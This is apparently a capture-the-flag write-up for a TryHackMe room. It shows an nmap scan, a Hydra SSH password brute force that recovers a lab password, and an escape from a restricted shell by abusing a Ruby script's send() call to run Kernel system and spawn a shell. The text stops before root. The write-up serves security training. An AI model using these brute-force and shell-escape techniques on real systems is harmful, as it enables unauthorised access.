TryHackMe - Red Stone One Carat - Writeup

First room of the Red Stone series. Hack ruby using ruby.

Nmap Scan

root@ip-10-10-178-181:~# nmap -sCV -A

Starting Nmap 7.60 ( ) at 2021-05-20 07:51 BST
Nmap scan report for (
Host is up (0.00049s latency).
Not shown: 999 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fe:e7:f2:f6:74:65:a6:dd:f2:94:cd:45:fd:f3:2b:2a (RSA)
|   256 34:a3:16:aa:b3:1f:83:ac:91:a3:31:b4:45:94:3c:c9 (ECDSA)
|_  256 75:23:c0:66:c7:2c:6e:12:0a:f7:04:61:2b:c6:12:62 (EdDSA)
MAC Address: 02:4A:D8:DC:71:55 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.49 ms (

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 16.24 seconds

Bruteforce SSH

User: noraj given in the Task 2. Now brute force SSH using Hydra. Bruteforcing may take long time don’t need to worry.

root@ip-10-10-178-181:~# hydra -t 32 -l noraj -P /usr/share/wordlists/rockyou.txt ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2021-05-20 08:25:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 32 tasks per 1 server, overall 32 tasks, 14344398 login tries (l:1/p:14344398), ~448263 tries per task
[DATA] attacking ssh://
[STATUS] 532.00 tries/min, 532 tries in 00:01h, 14343886 to do in 449:23h, 32 active
[STATUS] 508.33 tries/min, 1525 tries in 00:03h, 14342926 to do in 470:16h, 32 active
[STATUS] 492.86 tries/min, 3450 tries in 00:07h, 14341013 to do in 484:58h, 32 active
[STATUS] 479.67 tries/min, 7195 tries in 00:15h, 14337268 to do in 498:11h, 32 active
[STATUS] 475.97 tries/min, 14755 tries in 00:31h, 14329708 to do in 501:47h, 32 active
[22][ssh] host:   login: noraj   password: cheeseburger
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 25 final worker threads did not complete until end.
[ERROR] 25 targets did not resolve or could not be connected
[ERROR] 32 targets did not complete
Hydra ( finished at 2021-05-20 09:00:34

Now login with the password

root@ip-10-10-178-181:~# ssh noraj@ 
noraj@'s password: 
getent:6: command not found: grep
compdump:136: command not found: mv

This shell is different so for check which shell currently we are in type $ echo $SHELL

red-stone-one-carat% which $SHELL

Which mean it’s restricted shell.

Finding user.txt

As this shell have restrictions we can’t use cat, ls but we have permission to use echo, exec

red-stone-one-carat% echo *
bin user.txt
red-stone-one-carat% echo "$(< user.txt)"

We got the user.txt now it’s time for root.txt. I found dot file named .hint.txt

red-stone-one-carat% echo .*  
.cache .hint.txt .zshrc
red-stone-one-carat% echo "$(< .hint.txt)"
Maybe take a look at local services.

It seems we have to take a look on local services but before that we have to escape from the shell. Few times after checking I saw that $PATH variable set to /home/noraj/bin

Thers is two file in bin directory. One rzsh and another test.rb. I tried to find if ruby installed but no luck.

red-stone-one-carat% echo bin/*
bin/rzsh bin/test.rb

I typed test.rb it’s returing the code into the test.rb file

red-stone-one-carat% test.rb               

require 'rails'

if ARGV.size == 3
    klass = ARGV[0].constantize
    obj = klass.send(ARGV[1].to_sym, ARGV[2])

The things caught my eye is send() function I searched in google ruby send to_sym and saw a security docs about send() method they mentioned in the doc.

If an attacker can control the first two arguments to send, remote code execution is possible:

# params is { :a => "eval", :b => "...ruby code to be executed..." }
foo.send(params[:a], params[:b])

Interesting! Here we need to pass 3 argument let breakdown the code here:

From the docs of ruby constantize tries to find a declared constant with the name specified in the string. Eg: 'Module'.constantize from the snippet we see that if we wanted to use ARGV[0] then it must be Module or Class. Reference.

klass = ARGV[0].constanize

In this like we have klass.send() it means we have to use ARGV[0] as class and ARGV[1] method of the ARGV[0]. Now ARGV[2] as per the security docs I mentioned if an attacker can control first two argument then it possible to execute remote code executaion.

obj = klass.send(ARGV[1].to_sym, ARGV[2])

I found that Kernel module is included by class Object and its methods are available in every Ruby object. I found a method named #system using this method we can execute command. Now we are able to control the first two argument now our plan to execute /bin/sh shell

So, We can combine all 3 argument like test.rb Kernel 'system' "/bin/bash"

red-stone-one-carat% test.rb Kernel 'system' "/bin/bash"                     

We can’t able to escape because we are still in restricted environment and common softwares are block. In linux there are another /bin directory available where you can find a sh.shared executable. Now let’s try this test.rb Kernel 'system' "/usr/lib/klibc/bin/sh.shared"

red-stone-one-carat% test.rb Kernel 'system' "/usr/lib/klibc/bin/sh.shared"
$ echo *
bin user.txt

Yay! we escaped from restricted shell. Now export PATH to to access on default /bin folder

$ export PATH=$PATH:/usr/bin:/bin:/sbin:/usr/local/bin:/usr/sbin
$ ls
bin  user.txt

Previously we found a .hint.txt file where they given a hint to check local network services. So, I treid netstat , ps but they aren’t accessible.

We have permission on ftp so lets try to login to host to get the netstat.rb file.

Written on May 17, 2021